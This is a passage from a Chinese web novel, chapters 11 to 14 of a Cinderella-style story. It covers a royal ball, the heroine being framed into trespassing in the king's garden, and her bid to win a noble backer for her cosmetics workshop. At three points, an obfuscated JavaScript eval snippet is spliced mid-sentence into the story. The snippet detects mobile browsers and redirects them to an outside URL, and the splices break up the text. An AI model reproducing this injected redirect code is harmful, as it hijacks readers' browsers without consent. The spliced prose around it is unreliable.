莫罗夫人盯着小女儿，直到她感到心虚，这才招呼她们坐上马车。阿米莉娅的手段实在是不高明，漏洞百出，看来她以后要好好教教两个女儿夫人们的手段。 好在阿米莉娅的手段也算有效，只是可惜她准备好的那辆需要修补的马车失去了作用。 11. 舞会 离开起居室的辛蒂面色立即恢复了正常，这个夜晚还很长，她想她可以读一读《亚基亚德传奇》，她对于里面的骑士团内容相当感兴趣。 女仆珍妮已经在辛蒂的授意下辞掉了杜波伊斯府的女仆工作，专心于她们的化妆品工坊的事业。 新请的女仆有一手好厨艺，今天的晚餐似乎是暖呼呼的炖羊肉和松软的面包，她可以大吃一顿后读会儿书，再好好的睡一觉。 辛蒂的宅家设想很快就被打破了，继母和继姐离开不久，杜波伊斯府外出现了罗莎·洛佩斯的马车。 罗莎·洛佩斯特意来杜波伊斯府捎上她，这是辛蒂没想到的。 自从上次的书房事件后，辛蒂就有意无意的有些疏远她，她不确定罗莎是否对她心怀恶意，保持距离永远不会出错。 在听闻辛蒂准备好的礼服无故被损坏后，罗莎很容易猜到这是辛蒂的继母或者继姐故意使坏，她给了辛蒂一个同情的眼神： “可怜的辛蒂，我这里正好有备用的礼服，你可以穿着它参加舞会。”辛蒂和罗莎的体型较为相似，所以她的礼服辛蒂穿着也算合身。 虽然并不想去，但是辛蒂要是推拒会显得十分奇怪，毕竟整个王国没有不想嫁给王子的小姐，她和埃莉诺除外。 于是辛蒂表现出惊喜的样子，对罗莎表达了自己的谢意，并承诺她会做一条更漂亮的裙子还给罗莎。 “不过亲爱的罗莎，你怎么会经过杜波伊斯府呢，洛佩斯府到皇宫的路线似乎并不经过这里。” 罗莎的回答天衣无缝：“我在路上看到了莫罗夫人的马车，你不在里面，我有些担心你，所以就特意过来看看。” 辛蒂点点头，可是她的内心仍旧存在疑问，她总觉得罗莎是故意绕路到杜波伊斯府好确认她参加了舞会，可是她没有证据。 不管罗莎有什么盘算，今天的舞会就能见分晓了。 洛佩斯府的马车不算奢华，甚至不如杜波依斯府的马车舒服，马车里的绿色天鹅绒坐垫已经能看出来陈旧的痕迹，显然已经使用了许多年了。 注意到辛蒂的目光，罗莎有些不自在的笑笑：“家里的马车坏了，只能从库房里找出这架旧的暂时使用。” 辛蒂点点头，看来洛佩斯府的经济情况也不算好，想想也是，要是足够尊贵富有，哪个小姐愿意做女伴呢。 马车驶过的路段逐渐从安静变为喧哗，最是人声鼎沸之处便是亚基亚德的皇宫了。 不过因为黑暗的缘故，辛蒂看不清皇宫的全貌，只能隐隐分辨出这个庞然大物的轮廓，她无暇细看，已经被熙熙攘攘的人群裹挟进了舞会的大厅。 人真多啊，辛蒂知道参加舞会的人里有许多像她这样的平民，这已经是经过筛选的结果，除了之前说的礼仪培训的筛选，还必须要家族中没有罪犯且容貌十分美丽者才能参加。 实际上王国的阶级划分极其严苛，王子这样荒唐，挑选妻子过于重视外貌才有了这样一场舞会。否则辛蒂这样出身的女性，除非做女侍，否则一辈子也不大可能进入皇宫。 舞会上的美丽小姐实在是太多了，辛蒂几乎要看花了眼，这个有异国风情，那个火辣性感，几乎各式各样的美人都齐聚在了这里，王子真是艳福不浅哩。 忽而大厅里的喧哗一凝，原来是亚基亚德国王站起身来，接受全场贵族和平民的致敬。 亚基亚德国王的风格直接，他并不发表什么冗长的演讲，只是简单感谢了民众们的出席，随即宣布舞会开始。 辛蒂看见了传说中的王子，亨利·亚基亚德。他果然年轻英俊，深邃的棕色眼睛里有着几乎让人溺毙的温柔。 不过相较而言，辛蒂还是觉得国王更有魅力些，同样的棕色眼睛，卡修斯·亚基亚德的却像是神秘的行星，让人想要一探究竟。 小姐们都关注着王子，很多夫人却跟辛蒂有着相似的看法，辛蒂听到了一些对于亚基亚德国王的议论。 “国王陛下应该也给自己找个妻子，他忧郁的样子让人心疼。”这是某位摇着羽毛扇的贵妇人，辛蒂认为她一定很愿意陪伴国王陛下，她的眼神实在火辣。 另外一位夫人赞同地点点头：“也不知道我们的国王陛下在别的场合是否也这样严肃。” 别的什么场合？辛蒂不太懂，她知道这其中一定有什么深意，因为听到这话的其他人都纷纷露出了隐秘的微笑，还彼此交换了心照不宣的眼神。 随后她们的讨论停止了，因为音乐响起，王子已经挑选好了自己的舞伴。 原本辛蒂还有些担心会不会有什么剧情注定王子会看上她，即使她现在在一众美人中并不显眼。 好在王子温柔的棕色眼睛只是在她的身上一扫而过，邀请了一位宛如精灵一样美丽的小姐。 王子挑选好了舞伴，其他绅士也纷纷向自己心仪小姐发出邀请。 一位有着小鹿一般明亮眼眸的绅士向辛蒂伸出了手，他的棕色头发略带卷，让他看起来很有少年感。 这个舞伴看起来不错，辛蒂欣然接受他的邀约。不过辛蒂没有注意到这一曲是金银圆舞曲，这是她最不擅长的舞曲。 说实话，除了最简单的大家一起围着转圈圈的布朗莱舞曲，别的辛蒂都不大擅长。 于是可怜的小鹿先生黑色的鞋面都被辛蒂踩凹进去了，一开始辛蒂发生失误的时候，小鹿先生还安慰她说不要紧。 后来辛蒂失误越来越多，他几乎要认为自己是不是得罪了这位小姐招致了她的报复。 最后在辛蒂诚恳的道歉声中，小鹿先生面色铁青地远离了辛蒂。 小鹿先生只是一个开始，不断有绅士被辛蒂无害的外表欺骗，向辛蒂发出邀请，可惜后面没有一个人可以坚持完一支舞曲。 不过辛蒂还跳得挺开心的，因为不管是礼仪课还是公爵府里，见识过辛蒂的舞技后，几乎没有小姐愿意跟她搭伴练习。这几曲下来，辛蒂自觉进步了许多。 不知道是不是因为辛蒂跳舞十分蹩脚的消息传开了，后面再也没有人邀请辛蒂。 看到全程的罗莎一副想笑又不好意思笑的表情，她憋了又憋，还是委婉地建议辛蒂吃点东西休息一下，不要再祸害这些可怜的绅士了。 辛蒂从善如流，她正好也饿了。可惜舞会上的食物中看不中吃，除了甜品，其他的烤鸡、鹅肝之类的都又冷又腻，几乎无法下嘴。 休息的时候辛蒂看见了阿米莉亚，她正满面红光地跟一个手上戴满了宝石戒指的肥胖绅士跳舞。 罗莎告诉她那是一个非常富有的男爵，不过在私生活上有点小癖好，听闻他已经“病死”了三个妻子了，正在寻找下一个。 辛蒂略略思忖了片刻，正好一曲结束，她扬起笑脸走了过去，朝那个男爵行了一个屈膝礼：“男爵大人，或许您愿意赏脸跳支舞。” 辛蒂就算在容貌上做了伪装，也比阿米莉亚美丽许多，男爵几乎没有犹豫，立刻答应了辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760614|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒂的邀约。 阿米莉亚默认下一曲男爵依然会邀请她，没想到竟然有人横插一杠，回头一看，竟然是她那个本该在家哭泣的继妹。 她尖叫一声：“辛蒂！你怎么会在这里？” 没有人理会她，辛蒂已经和男爵进入了舞池。 阿米莉亚又气又恨，气的是男爵见异思迁，明明刚刚还在问她是哪家的小姐，要上门向她求婚，恨的是辛蒂仗着自己的美貌抢了她看上的男人！ 可惜无论她再怎么生气，辛蒂和男爵已经消失在了舞池里，她只好恨恨跺脚，开始寻找下一个目标了。 男爵眼下已经开始后悔了，这位小姐看似灵巧，实则笨拙无比，一支简单的舞曲愣是被她跳得乱七八糟的。 像是之前辛蒂所有舞伴一样，一支舞曲结束，男爵就匆匆离开，被辛蒂踩的一点旖旎心思都没有了。 他似乎还骂了一句拉丁语的脏话，看向辛蒂的眼神带了几分凶狠，还好舞会上这么多人，他不能对辛蒂做什么，只是瞪了她几眼。 舞会已经进行到了后半段，许多夫人小姐开始离场，国王和王子也不知道什么时候消失了。 光是辛蒂注意到的，王子就换了至少三个舞伴，无一不是万里挑一的大美人，看来王子并没有挑选到心仪的结婚对象，否则他肯定会跳到十二点，而不是早早退场。 辛蒂不禁乍舌，也不知道什么样的美丽才能让王子满足。 此时辛蒂也觉得困倦起来，往日这个时候她早已进入梦乡。不过罗莎还在舞池中，看起来十分愉快，她也不好意思扫兴。 恰好这时候有个皇宫的女侍靠近辛蒂，她屈膝轻声道：“杜波依斯小姐，莫罗夫人让我转告您她即将回府，如果您需要与莫罗夫人会合，我可以为您带路。” 辛蒂眨眨眼，没想到莫罗夫人还记得带她一起回去，不过把她丢在这里也不是莫罗夫人的风格，她向来愿意做表面功夫。 于是辛蒂没有怀疑，接受了女侍的帮助。 辛蒂不熟悉皇宫，再加上四周都黑乎乎的看不出什么区别，等辛蒂意识到自己被带到了一个完全陌生的地方，而不是马车的位置的时候已经晚了。 辛蒂还来得及发出质疑，女侍就一个转身消失不见。 原本因为困倦有些晕乎乎的辛蒂此时完全清醒了过来，她环顾四周，这里似乎是一个花园，花圃里娇艳的玫瑰鲜艳欲滴。 正当辛蒂试图找到正确的离开方向的时候，一道沉沉的男声响起：“杜波依斯小姐，你在这里做什么？” 黑暗中走出来的男人正是亚基亚德国王，卡修斯·亚基亚德。 这个花园是卡修斯最喜欢待的地方，尤其是在喧闹的宴会后，卡修斯喜欢在这里透透气。 知道国王的小爱好的人很多，不乏想借机接近国王的夫人和小姐。不过卡修斯并不像他的继承人那样贪花好色，他一般只在固定的情妇那里解决需求。 所以在这个小花园里，卡修斯拒绝了很多人，在太多女人试图打扰他的片刻宁静后，卡修斯烦不胜烦，剥夺了一个妄图以美色诱惑他的夫人的爵位。 从那以后，小花园果然不再出现“迷路”的夫人和小姐，就连女侍也不会轻易靠近。 在卡修斯看来，这个杜波依斯小姐无疑也是其中的一员，尤其在她还是一个商人的女儿的情况下。 看来她的消息还不够全面，知道国王喜欢待的地方，却不了解打扰国王的后果。 12. 顾虑 辛蒂听出了亚基亚德国王语气中的不悦，她被夜风吹过的大脑前所未有的清醒，尽量简单地说明了自己在这里的原因。 卡修斯的注意力却不在她说的那些东西上，明亮的月光下，他注意到这位杜波依斯小姐的脸上似乎有着一些刻意的污迹。那是一晚上的舞会后，辛蒂的妆容斑驳后呈现的效果。 这是什么新的花样吗？用脏兮兮的脸吸引国王的注意力？他忽然想起了之前在图书馆的时候，少女在阳光下熠熠生辉的面庞，还有乔瓦娜容貌的变化，原来如此，一位有着高超化妆术的小姐。 卡修斯不在乎这个女孩究竟是误入还是被人刻意指引到了这里，国王的禁令必须要得到百分百的执行。 他并没有对辛蒂的解释做出任何回应，只是吩咐侍卫把这位小姐送回她应该在的地方。 被国王的亲卫押送到皇宫外，那些目睹了这一幕的夫人小姐们无需打听就心领神会，又是一位妄图接近国王的小姐。 这样的名声足以让她在贵族圈子里混不下去，没有比这更恰到好处的惩罚了。 辛蒂的牙齿打着冷颤，她听到了一路上那些夫人和小姐们嘲弄的笑声和窃窃私语，意识到了恐怕她即将失去公爵府小姐女伴的身份。 如今分辨她有没有勾引国王已经没有任何意义，那位亚基亚德国王未必不知道她的无辜，只是懒得理会。 国王没有表态，乔瓦娜不会也不敢接纳她，失去公爵府的庇护，莫罗夫人再想对她做什么更加无所顾忌。 辛蒂只能安慰自己，失去公爵府的庇护是早晚的事，等乔瓦娜嫁到阿卡索王国她也会面临这一切，只是今天发生的事让冲突提前爆发而已。 辛蒂没有马车，只能呆呆地站在皇宫外思考着怎么回去，忽然一架马车停在辛蒂身边，罗莎·洛佩斯的脸出现在了辛蒂的面前。 罗莎还是一脸笑容，没有任何异样的神色，似乎她只是和辛蒂短暂地分开了一会，主动邀请辛蒂上了马车要送她回家。 辛蒂坐上马车，冷不丁开口：“是你让女侍带着我去小花园的。” 辛蒂知道那个女侍恐怕不是莫罗夫人请来找她的，而是一个认识她、极其熟悉皇宫、又对她心存恶意的人的陷阱。 考虑到她认识的人很少，这个人只可能是罗莎·洛佩斯。 罗莎的笑容未变，她略带疑惑的看着辛蒂：“什么女侍？亲爱的辛蒂，我不明白你在说什么。” 辛蒂仿佛自言自语：“我认为我们之间没有利益冲突，我唯一想不明白的就是你为什么要这么做。” 她的眼神里没有愤怒，也没有即将遭遇厄运的恐慌，只有纯粹的疑惑不解。 被辛蒂清亮的眼睛看着，罗莎忽有触动，轻声道：“我给你讲个故事吧。” “雨燕出生于一个庞大的族群，可惜在恶劣的环境下只剩下了它和一只幼鸟相依为命。” “族群的困境比寒冬的风雪更难熬。幼鸟还没长出能振翅的羽毛，连筑巢都要靠她帮忙。” “走投无路的时候，她只能去孔雀的领地帮孔雀整理尾羽，这才能换到一口果腹的浆果。” “雨燕想不通，同样是林间生灵，孔雀为什么能轻易得到最饱满的果实、最温暖的栖枝，甚至阳光都特意为它的尾羽停留。” “直到看见孔雀那身不算鲜亮、甚至有些黯淡的羽色，她才稍稍安心，天主终究没有把所有偏爱都给孔雀。” “可这份安慰很快被一只新来的百灵鸟打破了。百灵鸟能用婉转的鸣叫为孔雀吸引同类的目光，孔雀羽色的不足变得微不足道。” “更让雨燕恐慌的是，有了百灵鸟，孔雀渐渐不再需要她整理尾羽。她扇动翅膀停在枝头，疑心下一次孔雀转身时，再不会朝她的方向多看一眼。” “雨燕还需要孔雀的庇护，于是它想办法挑起了百灵鸟和其他鸟儿的争端，可惜都被百灵鸟轻松化解，还让她受到了更多的欢迎。” “雨燕知道百灵和她一样苦命，可是她的处境不容她存在任何怜悯之心。” “雨燕比百灵更了解孔雀的领地，她只是略施小计就让百灵冒犯到孔雀的首领，如她所愿，百灵被赶出了孔雀的领地。” 讲完了故事的罗莎神色竟然有些怅然，好像被算计的是她一样。 辛蒂忍不住翻了一个白眼，上礼仪课后她很少再做这样的不雅动作。 “你不会觉得自己情有可原吧，什么乱七八糟的燕子孔雀，乔安娜从来都没有忽视过你，我也威胁不到你的地位，你只是在为自己的私心找借口。” 罗莎的笑容消失了。她几度张口，却似乎觉得多说无益，反正大概率她以后再也不会见辛蒂·杜波伊斯。 她表情莫测：“或许吧，杜波伊斯府到了，亲爱的辛蒂，祝你好运。” 辛蒂只觉得晦气，不过这件事也再一次让辛蒂明白，麻烦不会因为你安分守己就远离你，一昧的退让只会让自己陷入更大的困境。 第二天，辛蒂果然没有看到公爵府来接她的马车，甚至连一句表面上的话也没有，看来乔瓦娜相信了流言。辛蒂亦不想上门自讨没趣，这种事从来都越描越黑。 想想上次她说她在书房遇到亚基亚德国王的时候，乔瓦娜或许就产生了疑虑，这次的事无疑是一种证实。 辛蒂不得不佩服罗莎的步步为营，塞拉菲娜在她面前简直单纯得像是一张白纸。 早知道就真的试试能不能勾引到国王了，要是能成为国王的情妇肯定比做女伴舒服，她苦中作乐地想着。 辛蒂长长叹了口气，不做公爵府的女伴也好，她眼下能有更多时间做自己的事情了，正好可以多关心一下化妆品工坊那边的情况。 趁着继母和詹姆斯还不知道她已经被公爵府厌弃，辛蒂随便找了个借口离开杜波伊斯府，雇了一辆马车，朝着珍妮给她的地址而去。 在珍妮的勤奋工作下，化妆品工坊已经开工了，正如珍妮所说，工坊雇佣的都是附近村子的农妇，劳动力价格十分低廉。 辛蒂去的时候，珍妮正在教这些农妇如何把珍珠磨成细腻的粉末。 看到辛蒂，珍妮十分惊喜：“辛蒂小姐！你不应该在做女伴吗，怎么会出现在这里？” “你不会独自来的吧？这也太危险了，小姐们出门至少需要一个女仆跟随。哦亲爱的小姐，你的面色真差，是昨晚上没有睡好吗？” 珍妮完全不记得王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760615|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的舞会这回事了，对于他们这些底层人而言，贵族老爷们的生活都太过于遥远。 好久没被珍妮念叨，辛蒂颇有些招架不住。珍妮关切的表情让她心里忍不住一酸，被陷害后她一直都努力思考对策，不让自己沉溺在无用的情绪里，直到有人关心的这一刻，辛蒂委屈的情绪才涌上心头。 她没有伤害任何人，只是因为可能会威胁到某人的地位，就被陷害至此。被侍卫架出皇宫，听到那些议论的时候，辛蒂内心的屈辱和愤怒几乎要将她燃尽。 辛蒂强压住内心翻涌的情绪，她不知道回答哪个问题，索性一个都没有回答，而是问珍妮道：“工坊现在可以稳定产出可以售卖的产品了吗？” 说起来这个工坊虽然是辛蒂要建的，可是前段时间她太过于忙碌，以至于现在根本不清楚具体的进展。 好在珍妮颇有些经营的天赋，一切事务都在她的手里井井有条，而且她比辛蒂有更多的生活经验，除了提供产品创意，辛蒂几乎没办法给出任何建议。 辛蒂的问题让珍妮露出一个很有些骄傲的笑容：“辛蒂小姐，工坊生产的化妆品已经在托马斯的店里开始售卖了，几乎每次上架都会销售一空呢！” 这就不得不感谢乔瓦娜和埃莉诺这两个活招牌了，化妆品的效果在她们脸上相当明显，几场宴会之后，半个王国的小姐都知道了化妆的神奇之处。 乔瓦娜本身作为王国内身份最高的小姐，即使容貌不够美丽，也有着无数人想要效仿她的衣着打扮，她本身带来的广告效应是巨大的。 每天都有无数的女仆和小姐都会来到托马斯的铺子想要采购化妆品，这还只是个开始，可以预见的辛蒂的化妆品会成为一种风尚。 毕竟对比起惨白的白铅，魔法膏不仅颜色自然，还能有一深一浅两个色号供夫人小姐们选择，口红也不是只有正红一种颜色，辛蒂调配出了四种颜色；此外还有针对不同部位的眉笔、眼线笔、修容之类的细分品类，想不赚钱都难。 可惜她们的工坊还是规模太小，目前还没办法供应整个市场。之前不乏有聪明的商人企图自己制造化妆品，可惜他们根本搞不清楚化妆品的原料，更别说那些奇妙的色彩调配了。 工坊的盈利让辛蒂感到高兴，可是工坊发展速度太快，而她却丢掉了女伴的身份。 她原本准备舞会后告诉乔瓦娜关于化妆品的生意，没有背景的生意是做不长久的，要是公爵府可以作为工坊的靠山，辛蒂愿意分出去一半的利润。 相信送上门来的金币乔瓦娜不会拒绝，她不是那种不知人间疾苦的贵族小姐，可惜现在随着她名誉受损，这一切都化为泡影。 辛蒂语气担忧：“珍妮，你和托马斯先生有没有遇到过什么危险呢？” 珍妮在底层混了这么多年，几乎立即明白了辛蒂的意思，她仔细回想了半天：“托马斯没有遇到过什么危险，不过我前两天遇到了一个尾随的小蟊贼，我当时把他甩开了。” 珍妮也担心起来：“我居住的那条街上以前有个铁匠铺，十分擅长制作弓箭，有个贵族老爷听说后就想买下这个铁匠铺，老铁匠不同意，竟然被活活打死了。辛蒂小姐，我们不会也遇到这样的事吧？” 13. 支持者 珍妮的话让辛蒂的表情十分凝重：“早晚的事，不过你放心，我会解决这件事。这几天你和托马斯先生还是正常售卖，不过小心些，别被人找到这里了。” “那些图谋不轨的人就算想要抢我们的配方，也得先打听清楚我们的来路才会真正动手，我想暂时不用太过于担心。” 说完正事，辛蒂这才发现珍妮似乎瘦了许多，之前称得上是肥胖的身材现在只能说是丰腴，她这段时间想必极为辛苦。 辛蒂有些感叹，所有人都在努力生活，她那点烦恼也不算什么大事，最起码她还活着不是么？她抱抱珍妮：“亲爱的珍妮，我们有的是时间做生意呢，请别太辛苦了。” 珍妮忽然想起什么，拉着辛蒂走进一个小房间，从箱子里拿出金币：“辛蒂小姐，这是这段时间的盈利，足足有三百金币呢！” 这就是规模化生产的好处了，辛蒂和珍妮累死累活制作了一年的化妆品，才赚了160枚金币，这才建立工坊多久，已经是她们一年赚的快两倍了！ 辛蒂看着那堆金币，沉思片刻后，将金币分成两份，其中一份放到一边，另一份又分成了两半，其中一半推到珍妮面前： “亲爱的珍妮，我原本想的工坊的收入我们五五分成，因为我几乎什么都没有做，只是提供了配方和思路，工坊的经营全都靠你操心。” “不过现在我们需要用一半的收益为我们的小生意找个强力的支持者，所以我们各得四分之一。”托马斯的部分属于成本，已经事先剔除了，所以不用考虑。 “考虑到以后我也不会有太多时间管理化妆品工坊的事，但是我提供了配方以及打开了销路，我认为我们各得25%是较为公平的。” “还有，你已经不是杜波依斯府的女仆了，我说了好多次，别再叫我小姐，我们是朋友。 ” 辛蒂的话让珍妮有些不知所措：“哦，辛蒂小，哦不，辛蒂，要是没有你这些奇妙的思想还有你在小姐们中间打开销路，这些也卖不出去，不，要不是你我肯定还在打扫卫生呢！” “不用四分之一那么多，我不值那么多钱，只需要给我女仆的薪水就好了，或许再多一点，足够了！” 珍妮十分感激辛蒂，她一直都认为自己只能做点女仆之类工作，在辛蒂的鼓励下，她才鼓起勇气试着运行这个小小的化妆术工坊，这可比做女仆有意思多了。 她对于自己的定位就是工坊的管事，想都没想过自己竟然还能获得一部分利润。 至于辛蒂说的寻找支持者，她认为很有道理，没有任何疑问。 辛蒂坚持要给珍妮她应得的部分，她并不热衷于赚取金币，折腾化妆品只是为了让自己就算离开杜波伊斯府也能活得下去，她的主要精力还是想放在学习魔法上。 再三劝说后珍妮终于接受了这样的分成方式：“亲爱的珍妮，我想我这一部分金币还是留在这里作为流动资金，你知道的，我没法子在杜波依斯府藏钱。” 珍妮实在拗不过辛蒂，只好收下那些金币，不过她也没有把金币拿走，而是说可以用这些金币继续投资，再把工坊的规模扩大一点，多买些原材料。 珍妮确实很有经济头脑，要是换成她那个叫托马斯的兄弟，估计已经想好在哪花这些金币了，听说他之前赚的40金币已经花得精光。 辛蒂满意点头：“等我找到了合适的支持者，我们可以找个时间去行会登记一下，以免未来扯皮。” 此外珍妮还带给了辛蒂一个好消息，辛蒂之前让她帮忙打听能教授希腊文的老师，老师没有打听到，不过珍妮遇到了一个因为战乱逃到此地的希腊人。 这是一个穿着破旧，但是收拾得很干净的老妇人。她来应聘工坊的女工，珍妮因为她迥异的面貌多问了几句，才知道她是希腊人，以前的职业是地理教师。 这倒是意外之喜，辛蒂很敬重她，问她愿不愿意跟自己一起走，教她希腊文，老妇人求之不得，告诉了辛蒂她的名字，瑞拉·格温。 辛蒂又在化妆品工坊待了一会，给现有的化妆术制作方法提出了一些建议，又提出了几种新的品种设想让珍妮尝试制作后就带着一半的金币离开了。 珍妮看出了辛蒂的不对劲，她知道辛蒂不愿意说，以为又是莫罗夫人做了什么事，她拉着辛蒂道： “亲爱的辛蒂，既然你说我们是朋友，那我希望你能把我当作朋友一样依靠。要是你在杜波伊斯府不开心，我们可以离开这个地方，外面的世界很大呢！” 辛蒂哭笑不得，这不是自己小时候常常挂在嘴边安慰珍妮的话吗？珍妮常常被继母和继姐为难，辛蒂这时候就会说这种不着边际的话安慰她。 辛蒂抱抱珍妮，她知道珍妮不是开玩笑的，她们现在已经有了很多金币，未来还会有更多，足够她们很舒适地生活了。 可是傻瓜珍妮，哪有这么简单，单身的小姐只有结婚才能离开父亲的家庭。而且眼下还没到那个地步，她不想像个逃兵一样，她还可以反败为胜。 辛蒂独自乘坐马车来到了公爵府的侧门，她拜托看守的女仆帮她跟乔瓦娜传话，请务必要见她一面，以乔瓦娜的心软程度这应该不是问题。 公爵府的女仆都听说了关于杜波伊斯小姐勾引国王陛下的传言，虽然乔瓦娜还吩咐过她们这里不再欢迎辛蒂·杜波伊斯。 可是曾经辛蒂帮助过守门的女仆躲过了一场责骂，于是她还是咬咬牙把辛蒂的话带给了乔瓦娜。 乔瓦娜没有责怪女仆的传话，辛蒂已经影响了她的名誉，注定没办法再做她的女伴，她想辛蒂是个聪明的女孩，也明白这个道理。 或许她是来请求帮助的，乔瓦娜很感激辛蒂曾经给她的帮助，现在她愿意听听辛蒂想说什么。 辛蒂出现在起居室，三个女伴都大吃一惊。捷琳娜忍不住冷嘲热讽：“你知道你的轻浮举动损伤了乔瓦娜的名誉吗？竟还敢出现在这里。” “乔瓦娜已经对你够好了，你却还想攀上国王陛下，我真为你感到羞愧！” 捷琳娜原本已经接纳了辛蒂，猝不及防的丑闻让她对辛蒂的印象跌入谷底，甚至希望从没认识过这个不知廉耻的小姐。 辛蒂没有理会捷琳娜的话，她来这里不是跟她吵架的。 乔瓦娜制止了捷琳娜的咒骂，看向辛蒂的表情中带着刻意的冷淡：“你要说什么，说完就快离开吧，这里容不下对国王有觊觎之心的小姐。” 辛蒂并不因为乔瓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760616|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜的话退缩：“我希望能和您单独交流。” 乔瓦娜想了想，同意了辛蒂的要求，让女伴们离开房间。 罗莎·洛佩斯感到意外，她以为辛蒂是来指责她的，可是辛蒂一个眼神都没有给她，现在还要跟乔瓦娜单独交流，有什么话是她们不能听的吗？罗莎好奇极了。 她不在乎辛蒂拆穿她，她一向在乔瓦娜面前表现得完美无缺，辛蒂拿不出证据，任何人都不会相信她的话。 面对乔瓦娜疑惑的神情，辛蒂问她：“亲爱的乔瓦娜，你想赚取更多金币吗？” “我知道公爵府十分富裕，不过你又能带走多少呢？我想你即将成为阿卡索的王妃，未来的阿卡索王后，手中的金币肯定越多越好。” 乔瓦娜以为她是想用杜波伊斯府的生意投靠公爵府，很多商人为了让自己的生意顺利些，都会找个大贵族作为支持者，代价是每个月大笔的分红。 “这种事你让杜波伊斯先生找我的父亲就好，这是男人们的事，我做不了主。”乔瓦娜低头喝茶，这是不耐烦的意思了。 “不，您误会我的意思了。我同样置喙不了杜波伊斯府的生意，现在是辛蒂·杜波伊斯个人希望得到支持。” 乔瓦娜有些惊讶辛蒂竟然要亲自做生意，不过想想，不会有贵族愿意娶她了，这也不失为一条生路。 乔瓦娜皱起眉头：“那也请跟我的父亲说吧，我可以帮忙引荐，金钱的交易不是淑女应该插手的。” 辛蒂摇头：“亲爱的乔瓦娜，不过是一点小生意，公爵大人瞧不上的。” “我认为我是在和未来的阿卡索王国的王后陛下交谈，你也应该要有自己的收入来源，而不是靠你的父亲或者丈夫施舍。” 辛蒂的话让乔瓦娜端着茶杯的手一抖，这是生平第一次有小姐跟她说话这样直白。她有些动摇，示意辛蒂继续说下去。 辛蒂将自己的腹稿娓娓道来，她先坦白了乔瓦娜每天都在使用的化妆品是出自她的手笔，又说她现在已经建立起了一个小工坊，实现了稳定的盈利。 市场的前景无需辛蒂赘述，那些夫人小姐们对于美丽的痴狂她比辛蒂更加清楚。 辛蒂又大致讲述了目前的成本和收益，抛开人工和原料场地等的净利润几乎可以达到90%，而且这个数字会随着她们的规模扩大会变得更低。 这个数字让颇有些见识的公爵小姐大吃一惊，和香料、盐矿之类的产业相比，90%的利润率并不算夸张，但是胜在几乎没有风险，是一本万利的好生意。 乔瓦娜的生意有些艰涩：“我以为这不算小生意了，你大可以直接找我的父亲，想必他不会拒绝你。” 辛蒂坦言：“不，我只相信你，乔瓦娜。你并不贪婪，你的两个哥哥却并非如此。我猜测大公会把这些琐事交由他们打理，生意走上正轨后我就会被他们一脚踢开，甚至死于非命。” “我相信你可以想象到未来这个生意能给我们带来多大的财富，那时候你的哥哥们会想要得到更多的份额也很正常。” “与其和公爵府合作，我不如去找别的贵族。乔瓦娜，我今天在这里只是因为我们的友情以及我对你的信任，我相信你可以做出正确的决断。” 14. 婚姻 乔瓦娜沉默，她知道辛蒂所言非虚。就连父亲都斥责过两个哥哥冷酷无情，十分担忧家族的前程。 况且她和两个哥哥的感情一般，他们理所当然的觉得乔瓦娜是个即将嫁出去的外人。要是真的到了辛蒂所说的那个地步，利益足够大的情况下，乔瓦娜保护不了辛蒂。 仔细想想，她确实是辛蒂能找到的最好的支持者，她并不迂腐，知道为自己谋求利益，未来还会拥有更大的权势，她们之间还存在友谊。 至于辛蒂说的别的选择，乔瓦娜并不相信，她认识的贵族乔瓦娜都知道，再没有比她更合适的了。 乔瓦娜几乎要为辛蒂的聪明喝彩了。 乔瓦娜有些厌恶辛蒂的算计，她喜欢天真善良的女孩。随即她又觉得自己未免太过于高高在上，以辛蒂的处境而言，辛蒂又有什么办法呢？不过是为了生存。 乔瓦娜思索片刻，庄重询问道：“那么杜波伊斯，你愿意给你的支持者多少分红呢？我认为60%是一个很合适的比例。” 这一刻的乔瓦娜流露出了属于公爵小姐的傲慢和精明，她并不是什么都不懂的贵族小姐。既然意动，该谈的东西都要谈清楚。 辛蒂有心理准备，一番讨价还价后这个比例变成了辛蒂本来就准备好的50%。 王国中商人的地位很低，没有贵族的支持，生意几乎进行不下去，50%已经不算过分了，还有的贵族会要求七成。 上有政策下有对策，你要的多我可以做假账，所以也有贵族要求每月规定数额的分红。 不过乔瓦娜和辛蒂都没有提这种方式，辛蒂的生意能赚多少都是未知数，固定数额对于双方而言都有可能吃亏。 商量完种种细则，乔瓦娜又变成了那个温和的贵族小姐：“辛蒂，我会给你想要的支持，不过你确定自己想清楚了吗？要是成为商人，你就再也没办法嫁给贵族。” 